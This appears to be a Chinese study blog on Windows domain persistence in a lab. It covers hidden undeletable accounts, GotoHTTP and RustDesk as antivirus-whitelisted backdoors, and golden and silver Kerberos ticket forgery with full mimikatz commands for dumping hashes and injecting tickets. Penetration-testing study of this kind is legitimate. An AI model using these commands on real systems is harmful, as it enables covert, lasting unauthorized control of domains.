windows權限維持—黃金白銀票據&隱藏用戶&遠控&RustDesk&GotoHttp
- 1. 前置
- 1.1. 初始問題
- 1.1.1. 解決辦法
- 2. 隱藏用戶
- 2.1. 工具原理
- 2.2. 案例操作
- 2.2.1. 單機添加用戶
- 2.2.1.1. 工具添加用戶
- 2.2.1.2. 工具查看隱藏用戶
- 2.2.1.3. 本地查看隱藏用戶
- 2.2.2. 域內添加用戶
- 2.2.2.1. 工具添加用戶
- 2.2.2.2. 工具查看隱藏用戶
- 2.2.2.3. 本地查看隱藏用戶
- 2.3. 總結
- 3. 遠控軟件
- 3.1. GotoHTTP
- 3.1.1. 運行軟件
- 3.1.2. 遠控讀取文件
- 3.1.3. 遠控桌面
- 3.1.4. 總結
- 3.2. RustDesk
- 3.2.1. 遠程版RustDesk
- 3.2.1.1. 運行軟件
- 3.2.1.2. 讀取遠控文件
- 3.2.1.3. 遠控桌面
- 3.2.2. 本地版RustDesk
- 3.2.2.1. 配置軟件
- 3.2.2.2. 遠程桌面
- 3.2.3. 總結
- 4. 基于服務TGT—黃金白銀票據
- 4.1. 黃金票據
- 4.1.1. 操作演示
- 4.1.1.1. 獲取域名與SID
- 4.1.1.2. 獲取KRBTGT賬戶NTLM
- 4.1.1.3. 偽造用戶名
- 4.1.1.4. 導入內存
- 4.1.2. 總結
- 4.2. 白銀票據
- 4.2.1. 操作演示
- 4.2.1.1. 獲取域名與SID
- 4.2.1.2. 獲取DC賬戶NTLM
- 4.2.1.3. 偽造用戶名
- 4.2.2. 總結
- 4.3. 總結
1. 前置
??在上篇權限維持中,有一個知識點出現了錯誤,基于機制賬號啟動—DSRM,里面的用戶應該使用的是用戶是krbtgt賬號,不應該隨便使用一個用戶,當時測試的時候,是由于在域用戶內找了很久都沒找到這個用戶,今天在測試的時候,使用查找是找到了這個用戶,但是最關鍵的問題就是在域內用戶列表中依舊是找不到的,雖然被停用,但應該也不至于找不到吧。
??注意基于機制賬號啟動—DSRM要使用krbtgt賬號來測試,由于krbtgt是密鑰分發中心的賬號,通常也不會有人去管理這個用戶,而且將DSRM的密碼同步過來后,就可以使用krbtgt賬號來進行登陸。
1.1. 初始問題
??一開始的問題就是,重置這里出現了問題,我查閱了網上一大堆文章,每篇文章就截了個圖,或者直接說,這里啟用就可以了,你寫你*文章啊,給鬼看的啊。
??其實這個原因就是krbtgt這個用戶被禁用了,同時你直接在ad用戶與計算機中還找不到這個用戶,使用查找找到了,還不能修改,提示本地賬戶無權限。
1.1.1. 解決辦法
??這里去在AD管理中心能夠找到這個用戶,不過依舊啟用不了,但是將密碼修改為永不過期就能夠解決這個問題了。
2. 隱藏用戶
??隱藏用戶是在日常留后門中最常用的一種操作,可以將用戶隱藏起來,來實現不被察覺。這里默認情況使用命令添加的隱藏用戶,是能夠被查詢到的并且刪除的,但是使用工具添加的隱藏用戶就算被查詢到,但是是無法被刪除的。
??CreateHiddenAccount
2.1. 工具原理
??其實這個工具的原理就是在創建用戶的時候添加$符號,并且將該用戶的用戶組設定為空,不過在單域環境中用戶組是空,域環境中用戶組是administrator組,導致無法刪除。
2.2. 案例操作
??這里就簡單的將工具上傳至目標靶機上進行執行,但是目前這個工具不免殺了,基本上就是下載就是被殺。
??這里我們測試單機情況與域情況。
2.2.1. 單機添加用戶
??這里我們測試單機添加與查詢。
2.2.1.1. 工具添加用戶
CreateHiddenAccount_upx_v0.2.exe -u yaya -p admin@123 ##添加用戶
2.2.1.2. 工具查看隱藏用戶
??這里是使用這個工具自帶的查詢來進行查詢隱藏用戶。
CreateHiddenAccount_upx_v0.2.exe -c
2.2.1.3. 本地查看隱藏用戶
??可以看到從本地確實也能夠看到隱藏用戶,但是你會發現,是無法刪除這個用戶的,其實這個就是由于之前說的,在單機版中用戶的用戶組什么都沒添加,所以導致無權進行刪除。
2.2.2. 域內添加用戶
??這里查詢域內添加與查詢。
2.2.2.1. 工具添加用戶
CreateHiddenAccount_upx_v0.2.exe -u yaya -p admin@123
2.2.2.2. 工具查看隱藏用戶
CreateHiddenAccount_upx_v0.2.exe -c
2.2.2.3. 本地查看隱藏用戶
??可以看到這里是可以刪除的,而單機版中是直接點擊刪除就提示禁止刪除。
2.3. 總結
??總的來說隱藏用戶目前的手段基本上服務器出現問題,第一件事都是查詢隱藏用戶,所以這個算是后門的一種方式,但是現在再來看已經不是那么好用了。
3. 遠控軟件
??遠控軟件都不陌生,比如向日葵、todesk等,都是遠控軟件,這類遠控軟件都不會被殺毒軟件殺,這是由于這些產品都屬于遠程辦公類軟件,殺毒軟件廠家基本上都把這些軟件都列入白名單中的,所以各種操作都會被殺毒軟件檢測。
??而且原先向日葵是存有那種便攜版的,不需要安裝即可使用,但是后續版本高,同時RCE漏洞,導致向日葵現在都需要進行安裝,而你去建立后面,直接使用向日葵的話,你需要安裝,同時目標風險很大,所以在實際過程中,盡量使用一些小而輕巧的軟件來實現遠程控制,從而達到權限維持。
??不過也還是那句話,如果服務器經常有人巡檢,像這類工具,你上傳基本上就會被查到,太明顯了。
3.1. GotoHTTP
??GotoHTTP Windows版本是綠色軟件,點擊右邊鏈接下載軟件包,文件大小僅數百K,只有一個文件在軟件包中,將其解壓到你電腦的某個位置,并雙擊運行它, 將會自動連接到服務器并顯示這臺電腦的ID及控制碼。
GotoHTTP
3.1.1. 運行軟件
??Windows7運行后會彈出這個彈窗,可能在命令行上操作會比較麻煩,同時Windows7有,那么意味著可能Windows server 2008這些老版的服務器都會出現,不過在Windows10上操作是沒問題的。
3.1.2. 遠控讀取文件
??你運行完會發現,在該軟件目錄下會創建一個配置文件,屆時你使用CS去讀取一下這個配置文件就可以了,這個配置文件中會存在賬戶密碼的。
3.1.3. 遠控桌面
??登陸下面的網站,在網站上面會有一個輸入賬號密碼的地方,這里輸入上去就可以了,無需下載上面客戶端,服務端的,現在還要收費了,尷尬…
??遠程桌面
3.1.4. 總結
??這個工具存在一個問題就是有網絡的情況下才能夠使用,而在無網絡的情況下是無法使用的,同時流量是走https協議,需要目標主機開放443端口。
??簡單來說就是:
??有網絡,無限制,可以使用。
??有網絡,如果防火墻限制了443端口,無法使用。
??無網絡,無限制,可以使用,但是可能需要轉發,比較麻煩。
??無網絡,有限制,基本上就是無法使用。
??同時如果目標主機處于待機狀態,如果被喚醒是會被防火墻攔截的。
3.2. RustDesk
??遠程桌面軟件,開箱即用,無需任何配置。您完全掌控數據,不用擔心安全問題。
??RustDesk
3.2.1. 遠程版RustDesk
??這里的遠控版意思就是可以從網絡上進行連接,簡單來說就是有網絡情況下使用。
3.2.1.1. 運行軟件
??這個工具默認打開是英文的,不過是可以在設置中修改為中文的。
3.2.1.2. 讀取遠控文件
??這個工具的賬號密碼文件在C:\Users\用戶名\AppData\Roaming\RustDesk\config\RustDesk.toml
下,不過很可惜,新版的這個工具可能無法讀取文件了,老版是還有的。
3.2.1.3. 遠控桌面
??這里可以看到是成功連接上對方的桌面了,但這里由于我是虛擬機,比較卡,所以畫面傳輸的比較慢。
3.2.2. 本地版RustDesk
??本地版的意思就是無需網絡,只要兩個軟件在同一個局域網內,都可以進行連接。
3.2.2.1. 配置軟件
??同樣這里,先去讀取一下文件C:\Users\用戶名\AppData\Roaming\RustDesk\config\RustDesk2.toml
,添加下列內容。
direct-server = 'Y' ##開啟IP連接
direct-access-port = '8443' ##端口
3.2.2.2. 遠程桌面
??這里我們是使用域內環境,其實也就是不出網情況,這里可以看到,直接在輸入對方的ID位置,輸入IP加端口即可。
IP:8443 ##8443是你再配置文件中修改的端口地址。
3.2.3. 總結
??總體來說這個工具要比GotoHTTP要方便很多,最主要的功能就是能夠脫離網絡實現連接,同時可以繞過有殺軟的環境。
4. 基于服務TGT—黃金白銀票據
??Kerberos協議是Windows域內認證常用的協議,整體的認證流程也就是黃金票據與白銀票據的攻擊場景。整體的流程較為復雜,理解起來也不是看完就能了解的。
??參考文章
??注意黃金票據與白銀票據歸屬在權限維持階段,而不是橫向移動階段。
4.1. 黃金票據
??黃金票據原理就是通過偽造krbtgt用戶的TGT票據,krbtgt用戶是域控中用來管理發放票據的用戶,擁有了該用戶的權限,就可以偽造系統中的任意用戶,同時可以訪問目標主機中任何服務。
??在Kerberos認證中,Client通過AS(身份認證服務)認證后,AS會給Client一個Logon Session Key和TGT,而Logon Session Key并不會保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的交互。而已有了黃金票據后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
??利用條件:獲取域控的權限、krbtgt用戶的hash值。
4.1.1. 操作演示
??這里我就不在CS中去操作了,直接實際操作,如果出現一些無法在CS中完成的,我會進行說明。
4.1.1.1. 獲取域名與SID
??注意這里的SID最后面的4位是不需要的。
whoami ##獲取本地賬戶
net time /domain ##獲取域名
whoami /all ##獲取sid:S-1-5-21-1695257952-3088263962-2055235443
4.1.1.2. 獲取KRBTGT賬戶NTLM
??這里需要使用mimikatz來進行獲取。
privilege::debug
lsadump::lsa /patch /user:krbtgt ##558ae7f88589153355cbeb046ac696df
4.1.1.3. 偽造用戶名
??這里的用戶名隨便偽造一個,我這里偽造成yuto吧。
mimikatz kerberos::golden /user:yuto /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:pj
4.1.1.4. 導入內存
??可以看到這里找一臺域內主機,將這個票據導入后就能夠服務域控了。
kerberos::ptt pj
4.1.2. 總結
??黃金票據,為什么說是黃金票據,由于該票據是不受TGT生命周期限制的,默認情況下TGT票據默認是10小時、最多續訂7天,而且這個票據可以一直保存,只要KRBTGT賬戶的密碼不被修改,則該票據可以一直訪問,同時利用上也簡單。
??不過黃金票據也屬于二次攻擊,第一次是為了拿到域控權限而去進行操作,而第二次攻擊則是為了再次獲取權限來進行的操作,同時黃金票據不單單可以生成krbtgt用戶的TGT票據,還可以生成其他用戶的,只不過,由于krbtgt用戶的密碼通常很少會去修改,所以間接性保證了票據的穩定性,如果是其他用戶,可能幾天改一次就導致票據失效。
4.2. 白銀票據
??黃金票據偽造的是TGT也就是門票發門票,而白銀票據則是偽造ST也就是門票,白銀票據的好處是不會經過KDC,從而更加的隱蔽,但是缺點也很明顯,那就是只對部分服務起作用,例如:cifs(文件共享服務)、mssql、winrm(Windows遠程管理)、DNS等。
??利用條件:拿到目標機器的hash,也就是登陸的hash值,這里不一定是DC的,但是我們權限維持,盡量還是去拿DC的權限。
4.2.1. 操作演示
??同樣這里也是不使用CS來操作,直接在機器上操作,CS中是一樣的。
4.2.1.1. 獲取域名與SID
??這里和黃金票據是一樣的,就不演示了。
whoami
net time /domain
whoami /all
4.2.1.2. 獲取DC賬戶NTLM
??這里要注意是機器名,不要是administrator的賬戶。
privilege::debug
sekurlsa::logonpasswords ##f0ff7995e6d3396e869a01e6b465eeaa
4.2.1.3. 偽造用戶名
??這里的用戶名隨便偽造一個,我這里偽造成yuto吧。
- domain:域名
- sid:域環境下的SID,除去最后-的部分剩下的內容
- target:要訪問的服務器,寫FQDN
- rc4:寫的是目標主機的NTLM(主機名$對應NTLM)
- service:要訪問的資源類型
- user:偽造的用戶
- cifs:共享文件
??其實這里可以看到導入后,確實有票據了,但是利用確實比較麻煩的,這里是將目標服務定位cifs,也就是說只有當目標主機上有cifs服務的時候才能進行利用。
kerberos::golden /user:yuto /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /target:DC /service:cifs /rc4:f0ff7995e6d3396e869a01e6b465eeaa /pttkerberos::golden /user:xxx用戶名 /domain:域名 /sid:域sid /target:目標服務器 /service:目標服務 /rc4:目標服務器的hash /ptt
4.2.2. 總結
??白銀票據可利用的局限性太多了。
4.3. 總結
??關于黃金票據與白銀票據的簡要總結。
??黃金票據:是抓取域控中ktbtgt賬號的hash,來在client端生成一個TGT票據,那么該票據是針對所有機器的所有服務。
??白銀票據:實際就是在抓取到了域控服務hash的情況下,在client端以一個普通域用戶的身份生成TGS票據,并且是針對于某個機器上的某個服務的,生成的白銀票據,只能訪問指定的target機器中指定的服務。